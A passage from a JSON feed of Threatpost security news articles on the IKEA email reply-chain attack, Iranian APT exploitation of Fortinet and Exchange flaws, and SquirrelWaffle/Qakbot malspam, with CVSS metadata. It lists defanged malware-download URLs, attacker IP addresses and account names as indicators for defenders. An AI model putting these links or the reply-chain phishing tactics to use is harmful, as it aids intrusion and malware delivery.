emails \u2013 one of which is replicated below \u2013 that warned employees of the attack, which was targeting the company\u2019s internal email inboxes. The phishing emails were coming from internal IKEA email addresses, as well as from the systems compromised at the company\u2019s suppliers and partners.\n\n> \u201cThere is an ongoing cyberattack that is targeting Inter IKEA mailboxes. Other IKEA organisations, suppliers, and business partners are compromised by the same attack and are further spreading malicious emails to persons in Inter IKEA.\n> \n> \u201cThis means that the attack can come via email from someone that you work with, from any external organisation, and as reply to an already ongoing conversation. It is therefore difficult to detect, for which we ask you to be extra cautious.\u201d \u2013IKEA internal email to employees.\n\nAs of Tuesday morning, the company hadn\u2019t seen any evidence of its customers\u2019 data, or business partners\u2019 data, having been compromised. \u201cWe continue to monitor to ensure that our internal defence mechanisms are sufficient,\u201d the spokesperson said, adding that \u201cActions have been taken to prevent damages\u201d and that \u201ca full-scale investigation is ongoing.\u201d____\n\nThe spokesperson said that the company\u2019s \u201chighest priority\u201d is that \u201cIKEA customers, co-workers and business partners feel certain that their data is secured and handled correctly.\u201d\n\nIKEA didn\u2019t respond to Threatpost\u2019s queries about whether the attack has been contained or if it\u2019s still ongoing.\n\n## Example Phishing Email\n\nIKEA sent its employees an example phishing email, shown below, that was received in Microsoft Outlook. The company\u2019s IT teams reportedly pointed out that the reply-chain emails contain links ending with seven digits. Employees were warned against opening the emails, regardless of who sent them, and were asked to immediately report the phishing emails to the IT department if they receive them.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/29144159/phishing-email-e1638214934826.jpeg>)\n\nExample phishing email sent to IKEA employees. Source: BleepingComputer.\n\n## Exchange Server Attacks D\u00e9j\u00e0 Vu?\n\nThe attack sounds familiar: Earlier this month, Trend Micro published a [report](<https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html>) about attackers who were doing the same thing with replies to hijacked email threads. The attackers were gnawing on the ProxyLogon and ProxyShell vulnerabilities in Microsoft Exchange Server to hijack email chains, by malspamming replies to ongoing email threads and hence boosting the chance that their targets would click on malicious links that lead to malware infection.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nAs security experts have noted, hijacking email replies for malspam campaigns is a good way to slip past people\u2019s spam suspicions and to avoid getting flagged or quarantined by email gateways.\n\nWhat was still under discussion at the time of the Trend Micro report: Whether the offensive was delivering SquirrelWaffle, the new email loader that [showed up](<https://threatpost.com/squirrelwaffle-loader-malspams-packing-qakbot-cobalt-strike/175775/>) in September, or whether SquirrelWaffle was just one piece of malware among several that the campaigns were dropping.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png>)\n\nMalicious Microsoft Excel document. Source: Trend Micro.\n\nCisco Talos researchers first [got wind](<https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos%E2%84%A2+Blog%29>) of the SquirrelWaffle malspam campaigns beginning in mid-September, when they saw boobytrapped Microsoft Office documents delivering [Qakbot malware](<https://threatpost.com/prolock-ransomware-qakbot-trojan/155828/>) and the penetration-testing tool [Cobalt Strike](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) \u2013 two of the most common threats regularly observed targeting organizations around the world. The Office documents infected systems with SquirrelWaffle in the initial stage of the infection chain.\n\nSquirrelWaffle campaigns are known for using stolen email threads to increase the chances that a victim will click on malicious links. Those rigged links are tucked into an email reply, similar to how the virulent [Emotet](<https://threatpost.com/emotet-takedown-infrastructure-netwalker-offline/163389/>) malware \u2013 typically spread via malicious emails or text messages \u2013 has been known to work.\n\nTrend Micro\u2019s incident-response team had decided to look into what its researchers believed were SquirrelWaffle-related intrusions in the Middle East, to figure out whether the attacks involved the notorious, [oft-picked-apart](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) [ProxyLogon](<https://threatpost.com/deadringer-targeted-exchange-servers-before-discovery/168300/>) and [ProxyShell](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) Exchange server vulnerabilities.\n\nTheir conclusion: Yes, the intrusions were linked to ProxyLogon and ProxyShell attacks on unpatched Exchange servers, as evidenced by the IIS logs of three compromised servers, each compromised in a separate intrusion, all having been exploited via the ProxyShell and ProxyLogon vulnerabilities [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) and [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>).\n\nIn the Middle East campaign that Trend Micro analyzed, the phishing emails contained a malicious Microsoft Excel doc that did [what malicious Excel documents do](<https://threatpost.com/hackers-update-age-old-excel-4-0-macro-attack/154898/>): It prompted targets to choose \u201cEnable Content\u201d to view a protected file, thus launching the infection chain.\n\nSince IKEA hasn\u2019t responded to media inquiries, it\u2019s impossible to say for sure whether or not it has suffered a similar attack. However, there are yet more similarities between the IKEA attack and the Middle East attack analyzed by Trend Micro earlier this month. Specifically, as BleepingComputer reported, the IKEA reply-email attack is likewise deploying a malicious Excel document that similarly instructs recipients to \u201cEnable Content\u201d or \u201cEnable Editing\u201d to view it.\n\nTrend Micro shared a screen capture, shown below, of how the malicious Excel document looked in the Middle East campaign:\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png>)\n\nMalicious Microsoft Excel document. Source: Trend Micro.\n\n## You Can\u2019t Trust Email from \u2018Someone You Know\u2019\n\nIt\u2019s easy to mistake the malicious replies as coming from legitimate senders, given that they pop up in ongoing email threads. Saryu Nayyar, CEO of Gurucul, noted that IKEA employees are learning the hard way that replies in threads aren\u2019t necessarily legitimate and can be downright malicious.\n\n\u201cIf you get an email from someone you know, or that seems to continue an ongoing conversation, you are probably inclined to treat it as legitimate,\u201d she told Threatpost via email on Monday. \u201cHowever, IKEA employees are finding out otherwise. They are being attacked by phishing emails that are often purportedly from known sources, and may be carrying the Emotet or Qbot trojans to further infect the system and network.\u201d\n\nThis attack is \u201cparticularly insidious,\u201d she commented, in that it \u201cseemingly continues a pattern of normal use.\u201d\n\n## No More Ignoring Quarantine\n\nWith such \u201cnormal use\u201d patterns lulling would-be victims into letting down their guards, it raises the possibility that employees might assume that email filters were mistaken if they quarantined the messages.\n\nThus, IKEA\u2019s internal email advised employees that its IT department was disabling the ability to release emails from quarantine. As it is, its email filters were identifying at least some of the malicious emails:\n\n> \u201cOur email filters can identify some of the malicious emails and quarantine them. Due to that the email could be a reply to an ongoing conversation, it\u2019s easy to think that the email filter made a mistake and release the email from quarantine. We are therefore until further notice disabling the possibility for everyone to release emails from quarantine.\u201d \u2013IKEA internal email to employees.\n\n## Is Training a Waste of Time?\n\nWith such sneaky attacks as these, is training pointless? Some say yes, some say no.\n\nErich Kron, security awareness advocate at [KnowBe4](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATUavSzE-2FiwjSkZ-2BMZMLjTD68bBzltWsjOj4iPYBhQEjDkwmuP_q07lK5GAAVvAnbc-2Fr-2FBDhAPhoMvwzp-2Bdh4wgfTcF0AUhu01ZMXdKNJrsN0iCyDU7ehW0N22Ype9yCK1TM6XYzZcULka2hXrkxot-2FYcsNMOW-2Fi7ZSbc4BW4Y4w5w74JadqFiCZdgYU0Y0aYb-2FD61SsSN5WSYToKPBxI2VArzhMwftrf78GbiRjwM9LzhmNBFfpMuXBsqYiKB-2B-2F-2BBM3106r2sgW-2Be451MnVYlMzEVQ43u-2Fx2JCoSpeITOcIPo6Gi3VBNSVcUaapZzArkSDh5SZ2Cih-2F-2FVdRBgHXCsqyWXs7po0-2FS83TsiYRB3U8HOgtt0HT6BGdSMjxi-2FVc6P1ZgVny6ZGKAKxbHvydLCfU5zrtFQ-3D>), is pro-training, particularly given how damaging these attacks can be.\n\n\u201cCompromised email accounts, especially those from internal email systems with access to an organization\u2019s contact lists, can be very damaging, as internal emails are considered trusted and lack the obvious signs of phishing that we are used to looking for,\u201d he told Threatpost via email on Monday. \u201cBecause it is from a legitimate account, and because cybercriminals often inject themselves into previous legitimate conversations, these can be very difficult to spot, making them very effective.\n\n\u201cThese sorts of attacks, especially if the attackers can gain access to an executive\u2019s email account, can be used to spread ransomware and other malware or to request wire transfers to cybercriminal-owned bank accounts, among other things,\u201d Kron said.\n\nHe suggested training employees not to blindly trust emails from an internal source, but to hover over links and to consider the context of the message. \u201cIf it does not make sense or seems unusual at all, it is much better to pick up the phone and quickly confirm the message with the sender, rather than to risk a malware infection or falling victim to a scam,\u201d he said.\u201d\n\nIn contrast, Christian Espinosa, managing director of [Cerberus Sentinel](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATUc1h7F6EeKyqQHDAzxY6FeBG4AZ1lNaZ-2Fme9HKLAKT7PeL3x_q07lK5GAAVvAnbc-2Fr-2FBDhAPhoMvwzp-2Bdh4wgfTcF0AUhu01ZMXdKNJrsN0iCyDU7ehW0N22Ype9yCK1TM6XYzZcULka2hXrkxot-2FYcsNMOW-2Fi7ZSbc4BW4Y4w5w74JadqFiCZdgYU0Y0aYb-2FD61SsSN5WSYToKPBxI2VArzhMwftrf78GbiRjwM9LzhmNBFfpMuXBsqYiKB-2B-2F-2BBM3106r8Wex0T7OFTT8vFIbMA9T-2BlDgGhDFXEelC-2FWPjZXKe9NWtbBbYafHTvkVre5k1vKi3GgofOJKSR-2F2xlpyW7kQklpPEA59unEm4rAKnCodaK-2FrXGwLA5yk9gY1MBMzuyaJeG4mVY1yL-2F3YI1d-2BMmcWiY-3D>), is a firm vote for the \u201ctraining is pointless\u201d approach.\n\n\u201cIt should be evident by now that awareness and phishing training is ineffective,\u201d he told Threatpost via email on Monday. \u201cIt\u2019s time we accept \u2018users\u2019 will continuously fall for phishing scams, despite how much \u2018awareness training\u2019 we put them through.\u201d\n\nBut what options do we have? Espinosa suggested that cybersecurity defense playbooks \u201cshould focus on items that reduce risk, such as application whitelisting, which would have stopped this attack, as the \u2018malware\u2019 would not be whitelisted.\u201d\n\nHe pointed to other industries that have compensated for human factors, such as transportation. \u201cDespite awareness campaigns, the transportation industry realized that many people did not \u2018look\u2019 before turning across traffic at a green light,\u201d Espinosa said. \u201cInstead of blaming the drivers, the industry changed the traffic lights. The newer lights prevent drivers from turning across traffic unless there is a green arrow.\u201d\n\nThis change saved thousands of lives, he said, and it\u2019s high time that the cybersecurity industry similarly \u201ctakes ownership.\u201d\n\n**_There\u2019s a sea of unstructured data on the internet relating to the latest security threats._**[ **_REGISTER TODAY_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)**_ to learn key concepts of natural language processing (NLP) and how to use it to navigate the data ocean and add context to cybersecurity threats (without being an expert!). This_**[ **_LIVE, interactive Threatpost Town Hall_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)**_, sponsored by Rapid 7, will feature security researchers Erick Galinkin of Rapid7 and Izzy Lazerson of IntSights (a Rapid7 company), plus Threatpost journalist and webinar host, Becky Bracken._**\n\n[**_Register NOW_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)_** for the LIVE event!**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-29T21:22:12", "type": "threatpost", "title": "IKEA Hit by Email Reply-Chain Cyberattack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-29T21:22:12", "id": "THREATPOST:736F24485446EFF3B3797B31CE9DAF1D", "href": "https://threatpost.com/ikea-email-reply-chain-attack/176625/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-18T02:26:11", "description": "A state-backed Iranian threat actor has been using multiple CVEs \u2013 including both serious Fortinet vulnerabilities for months and a Microsoft Exchange ProxyShell weakness for weeks \u2013 looking to gain a foothold within networks before moving laterally and launching [BitLocker](<https://threatpost.com/hades-ransomware-connections-hafnium/165069/>) ransomware and other nastiness.\n\nA joint [advisory](<https://us-cert.cisa.gov/ncas/current-activity/2021/11/17/iranian-government-sponsored-apt-cyber-actors-exploiting-microsoft>) published by CISA on Wednesday was meant to highlight the ongoing, malicious cyber assault, which has been tracked by the FBI, the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC) and the United Kingdom\u2019s National Cyber Security Centre (NCSC). All of the security bodies have traced the attacks to an Iranian government-sponsored advanced persistent threat (APT).\n\nThe Iranian APT has been exploiting Fortinet vulnerabilities since at least March 2021 and a Microsoft Exchange ProxyShell vulnerability since at least October 2021, according to the alert. The weaknesses are granting the attackers initial access to systems that\u2019s then leading to follow-on operations including ransomware, data exfiltration or encryption, and extortion.\n\nThe APT has used the same Microsoft Exchange vulnerability in Australia.\n\n## CISA Warning Follows Microsoft Report on Six Iranian Threat Groups\n\nCISA\u2019s warning came on the heels of [an analysis](<https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/>) of the evolution of Iranian threat actors released by Microsoft\u2019s Threat Intelligence Center (MSTIC) on Tuesday.\n\nMSTIC researchers called out three trends they\u2019ve seen emerge since they started tracking six increasingly sophisticated Iranian APT groups in September 2020:\n\n * They are increasingly utilizing ransomware to either collect funds or disrupt their targets.\n * They are more patient and persistent while engaging with their targets.\n * While Iranian operators are more patient and persistent with their social engineering campaigns, they continue to employ aggressive brute force attacks on their targets.\n\nThey\u2019ve seen ransomware attacks coming in waves, averaging every six to eight weeks, as shown in the timeline below.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/17104422/Fig1b-ransomware-timeline.jpg>)\n\nTimeline of ransomware attacks by Iranian threat actors. Source: MSTIC.\n\nIn keeping with what CISA described on Wednesday, MSTIC has seen the Iran-linked [Phosphorous group](<https://threatpost.com/apt-ta453-siphons-intel-mideast/167715/>) \u2013 aka a number of names, including Charming Kitten, TA453, APT35, Ajax Security Team, NewsBeef and Newscaster \u2013 globally target the Exchange and Fortinet flaws \u201cwith the intent of deploying ransomware on vulnerable networks.\u201d\n\nThe researchers pointed to a recent blog post by the [DFIR Report](<https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/>) describing a similar intrusion, in which the attackers exploited vulnerabilities in on-premise Exchange Servers to compromise their targets\u2019 environments and encrypt systems via BitLocker ransomware: activity that MSTIC also attributed to Phosphorous.\n\n## No Specific Sectors Targeted\n\nThe threat actors covered in CISA\u2019s alert aren\u2019t targeting specific sectors. Rather, they\u2019re focused on exploiting those irresistible Fortinet and Exchange vulnerabilities.\n\nThe alert advised that the APT actors are \u201cactively targeting a broad range of victims across multiple U.S. critical infrastructure sectors, including the Transportation Sector and the Healthcare and Public Health Sector, as well as Australian organizations.\u201d\n\n## Malicious Activity\n\nSince March, the Iranian APT actors have been scanning devices on ports 4443, 8443 and 10443 for the much-exploited, serious Fortinet FortiOS vulnerability tracked as [CVE-2018-13379](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>) \u2013 a path-traversal issue in Fortinet FortiOS, where the SSL VPN web portal allows an unauthenticated attacker to download system files via specially crafted HTTP resource requests.\n\nIt\u2019s d\u00e9j\u00e0 vu all over again: In April, CISA had [warned](<https://threatpost.com/fbi-apts-actively-exploiting-fortinet-vpn-security-holes/165213/>) about those same ports being scanned by cyberattackers looking for the Fortinet flaws. In its April alert ([PDF](<https://www.ic3.gov/media/news/2021/210402.pdf>)), CISA said that it looked like the APT actors were going after access \u201cto multiple government, commercial, and technology services networks.\u201d\n\nThat\u2019s what APT actors do, CISA said: They exploit critical vulnerabilities like the Fortinet CVEs \u201cto conduct distributed denial-of-service (DDoS) attacks, ransomware attacks, structured query language (SQL) injection attacks, spearphishing campaigns, website defacements, and disinformation campaigns.\u201d\n\nCVE-2018-13379 was just one of three security vulnerabilities in the Fortinet SSL VPN that the security bodies had seen being used to gain a foothold within networks before moving laterally and carrying out recon, as the FBI and CISA said in the April alert.\n\nAccording to Wednesday\u2019s report, the APT actors are also enumerating devices for the remaining pair of FortiOS vulnerabilities in the trio CISA saw being exploited in March, which are:\n\n * [CVE-2020-12812](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12812>), an improper-authentication vulnerability in SSL VPN in FortiOS that could allow a user to log in successfully without being prompted for the second factor of authentication (FortiToken) if they changed the case of their username, and\n * [CVE-2019-5591](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5591>): a default-configuration vulnerability in FortiOS that could allow an unauthenticated attacker on the same subnet to intercept sensitive information by impersonating the LDAP server.\n\n\u201cThe Iranian Government-sponsored APT actors likely exploited these vulnerabilities to gain access to vulnerable networks,\u201d according to Wednesday\u2019s alert.\n\nIn May, the same Iranian actors also exploited a Fortinet FortiGate firewall to gain access to a U.S. municipal government\u2019s domain. \u201cThe actors likely created an account with the username \u201celie\u201d to further enable malicious activity,\u201d CISA said, pointing to a previous FBI flash alert ([PDF](<https://www.ic3.gov/media/news/2021/210527.pdf>)) on the incident.\n\nIn June, the same APT actors exploited another FortiGate security appliance to access environmental control networks associated with a U.S. children\u2019s hospital after likely leveraging a server assigned to IP addresses 91.214.124[.]143 and 162.55.137[.]20: address that the FBI and CISA have linked with Iranian government cyber activity. They did it to \u201cfurther enable malicious activity against the hospital\u2019s network,\u201d CISA explained.\n\n\u201cThe APT actors accessed known user accounts at the hospital from IP address 154.16.192[.]70, which FBI and CISA judge is associated with government of Iran offensive cyber activity,\u201d CISA said.\n\n## Yet More Exchange ProxyShell Attacks\n\nFinally, the gang turned to exploiting a Microsoft Exchange ProxyShell vulnerability \u2013 CVE-2021-34473 \u2013 last month, in order to, again, gain initial access to systems in advance of follow-on operations. ACSC believes that the group has also used [CVE-2021-34473](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>) in Australia.\n\nProxyShell is a name given to an attack that chains a trio of vulnerabilities together (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), to enable unauthenticated attackers to perform remote code execution (RCE) and to snag plaintext passwords.\n\nThe attack was outlined in a presentation ([PDF](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>)) given by Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) at Black Hat in April. In it, Tsai disclosed an entirely new attack surface in Exchange, and a [barrage](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) of [attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) soon followed. August was glutted with reports of threat actors exploiting ProxyShell to launch [webshell attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>), as well as to deliver [LockFile ransomware](<https://pbs.twimg.com/media/E9TmPo6XMAYCnO-?format=jpg&name=4096x4096>).\n\n## Indications of Compromise\n\n[CISA\u2019s detailed alert](<https://us-cert.cisa.gov/ncas/alerts/aa21-321a>) gives a laundry list of tactics and techniques being used by the Iran-linked APT.\n\nOne of many indicators of compromise (IOC) that\u2019s been spotted are new user accounts that may have been created by the APT on domain controllers, servers, workstations and active directories [[T1136.001](<https://attack.mitre.org/versions/v10/techniques/T1136/001>), [T1136.002](<https://attack.mitre.org/versions/v10/techniques/T1136/002>)].\n\n\u201cSome of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization,\u201d CISA advised.\n\nBesides unrecognized user accounts or accounts established to masquerade as existing accounts, these account usernames may be associated with the APT\u2019s activity:\n\n * Support\n * Help\n * elie\n * WADGUtilityAccount\n\nIn its Tuesday analysis, MSTIC researchers cautioned that Iranian operators are flexible, patient and adept, \u201c[having] adapted both their strategic goals and tradecraft.\u201d Over time, they said, the operators have evolved into \u201cmore competent threat actors capable of conducting a full spectrum of operations, including:\n\n * Information operations\n * Disruption and destruction\n * Support to physical operations\n\nSpecifically, these threat actors are proved capable of all these operations, researchers said:\n\n * Deploy ransomware\n * Deploy disk wipers\n * Deploy mobile malware\n * Conduct phishing attacks\n * Conduct password spray attacks\n * Conduct mass exploitation attacks\n * Conduct supply chain attacks\n * Cloak C2 communications behind legitimate cloud services\n\n_**Want to win back control of the flimsy passwords standing between your network and the next cyberattack? Join Darren James, head of internal IT at Specops, and Roger Grimes, data-driven defense evangelist at KnowBe4, to find out how during a free, LIVE Threatpost event, **_[**\u201cPassword Reset: Claiming Control of Credentials to Stop Attacks,\u201d**](<https://bit.ly/3bBMX30>)_** TODAY, Wed., Nov. 17 at 2 p.m. ET. Sponsored by Specops.**_\n\n[**Register NOW**](<https://bit.ly/3bBMX30>)_** for the LIVE event**__**!**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-17T17:04:01", "type": "threatpost", "title": "Exchange, Fortinet Flaws Being Exploited by Iranian APT, CISA Warns", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-17T17:04:01", "id": "THREATPOST:604B67FD6EFB0E72DDD87DF07C8F456D", "href": "https://threatpost.com/exchange-fortinet-exploited-iranian-apt-cisa/176395/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-23T00:36:02", "description": "Attackers are gnawing on the ProxyLogon and ProxyShell vulnerabilities in Microsoft Exchange Server to hijack email chains, by malspamming replies to ongoing email threads, researchers say.\n\nWhat\u2019s still under discussion: whether the offensive is delivering SquirrelWaffle, the new email loader that [showed up](<https://threatpost.com/squirrelwaffle-loader-malspams-packing-qakbot-cobalt-strike/175775/>) in September, or whether SquirrelWaffle is just one piece of malware among several that the campaigns are dropping.\n\nCisco Talos researchers first [got wind](<https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos%E2%84%A2+Blog%29>) of the SquirrelWaffle malspam campaigns beginning in mid-September, when they saw boobytrapped Microsoft Office documents delivering [Qakbot malware](<https://threatpost.com/prolock-ransomware-qakbot-trojan/155828/>) and the penetration-testing tool [Cobalt Strike](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) \u2013 two of the most common threats regularly observed targeting organizations around the world. The Office documents infected systems with SquirrelWaffle in the initial stage of the infection chain.\n\nSquirrelWaffle campaigns are known for using stolen email threads to increase the chances that a victim will click on malicious links. Those rigged links are tucked into an email reply, similar to how the virulent [Emotet](<https://threatpost.com/emotet-takedown-infrastructure-netwalker-offline/163389/>) malware \u2013 typically spread via malicious emails or text messages \u2013 has been known to work.\n\n## Slipping Under People\u2019s Noses\n\nIn a [report](<https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html>) posted on Friday, Trend Micro researchers \u200b\u200bMohamed Fahmy, Sherif Magdy and Abdelrhman Sharshar said that hijacking email replies for malspam is a good way to slip past both people\u2019s spam suspicions and to avoid getting flagged or quarantined by email gateways.\n\n\u201cDelivering the malicious spam using this technique to reach all the internal domain users will decrease the possibility of detecting or stopping the attack, as the mail [gateways] will not be able to filter or quarantine any of these internal emails,\u201d they wrote.\n\nThe attacker also didn\u2019t drop, or use, tools for lateral movement after gaining access to the vulnerable Exchange servers, Trend Micro said. Thus, they left no tracks, as \u201cno suspicious network activities will be detected. Additionally, no malware was executed on the Exchange servers that will trigger any alerts before the malicious email is spread across the environment.\u201d\n\n## Middle East Campaign\n\nTrend Micro\u2019s Incident Response team had decided to look into what researchers believe are SquirrelWaffle-related intrusions in the Middle East, to figure out whether the attacks involved the notorious Exchange server vulnerabilities.\n\nThey shared a screen capture, shown below, that\u2019s representative of the malicious email replies that showed up in all of the user inboxes of one affected network, all sent as legitimate replies to existing threads, all written in English.\n\nThey found that other languages were used in different regions outside of the Middle East attack they examined. Still, in the intrusions they analyzed that were outside of the Middle East, most of the malicious emails were written in English, according to the report.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22101946/malicious-spam-received-by-targets-e1637594408162.png>)\n\nMalicious spam received by targets. Source: Trend Micro.\n\n\u201cWith this, the attackers would be able to hijack legitimate email chains and send their malicious spam as replies to the said chains,\u201d the researchers wrote.\n\n## Who\u2019s Behind This?\n\n[Cryptolaemus](<https://www.zdnet.com/article/meet-the-white-hat-group-fighting-emotet-the-worlds-most-dangerous-malware/>) researcher [TheAnalyst](<https://twitter.com/ffforward>) disagreed with Trend Micro on its premise that SquirrelWaffle is actually acting as a malware dropper for Qbot or other malwares. Rather, TheAnalyst asserted on Friday that the threat actor is dropping both SquirrelWaffle and Qbot as [discrete payloads](<https://twitter.com/ffforward/status/1461810466720825352>), and the most recent [confirmed SquirrelWaffle drop](<https://twitter.com/ffforward/status/1461810488870944768>) it has seen was actually on Oct. 26.\n\n> it makes it easy for us who tracks them to identify them. A TTP they always comes back to is links to maldocs in stolen reply chains. They are known to deliver a multitude of malware like [#QakBot](<https://twitter.com/hashtag/QakBot?src=hash&ref_src=twsrc%5Etfw>) [#Gozi](<https://twitter.com/hashtag/Gozi?src=hash&ref_src=twsrc%5Etfw>) [#IcedID](<https://twitter.com/hashtag/IcedID?src=hash&ref_src=twsrc%5Etfw>) [#CobaltStrike](<https://twitter.com/hashtag/CobaltStrike?src=hash&ref_src=twsrc%5Etfw>) and maybe others. >\n> \n> \u2014 TheAnalyst (@ffforward) [November 19, 2021](<https://twitter.com/ffforward/status/1461810468323004417?ref_src=twsrc%5Etfw>)\n\nWith regards to who\u2019s behind the activity, TheAnalyst said that the actor/activity is tracked as tr01/TR (its QakBot affiliate ID)[ TA577](<https://twitter.com/hashtag/TA577?src=hashtag_click>) by Proofpoint and as ChaserLdr by[ Cryptolaemus](<https://twitter.com/Cryptolaemus1>) and that the activity goes back to at least 2020. The actors are easy to track, TheAnalyst said, given small tweaks to their tactics, techniques and procedures (TTPs).\n\nOne such TTP that tr01 favors is adding links to malicious documents included in stolen reply chains, TheAnalyst noted. The threat actor is known to deliver \u201ca multitude of malware,\u201d they said, such as [QakBot](<https://threatpost.com/prolock-ransomware-qakbot-trojan/155828/>), [Gozi](<https://threatpost.com/banking-trojans-nymaim-gozi-merge-to-steal-4m/117412/>), [IcedID](<https://threatpost.com/icedid-banking-trojan-surges-emotet/165314/>), Cobalt Strike and potentially more.\n\n## The Old \u2018Open Me\u2019 Excel Attachment Trick\n\nThe malicious emails carried links (aayomsolutions[.]co[.]in/etiste/quasnam[]-4966787 and aparnashealthfoundation[.]aayom.com/quasisuscipit/totamet[-]4966787) that dropped a .ZIP file containing a malicious Microsoft Excel sheet that downloads and executes a malicious DLL related to the [Qbot](<https://threatpost.com/ta551-tactics-sliver-red-teaming/175651/>) banking trojan.\n\nWhat\u2019s particularly notable, Trend Micro said, is that real account names from the victim\u2019s domain were used as sender and recipient, \u201cwhich raises the chance that a recipient will click the link and open the malicious Microsoft Excel spreadsheets,\u201d according to the report.\n\nAs shown below, the Excel attachment does [what malicious Excel documents 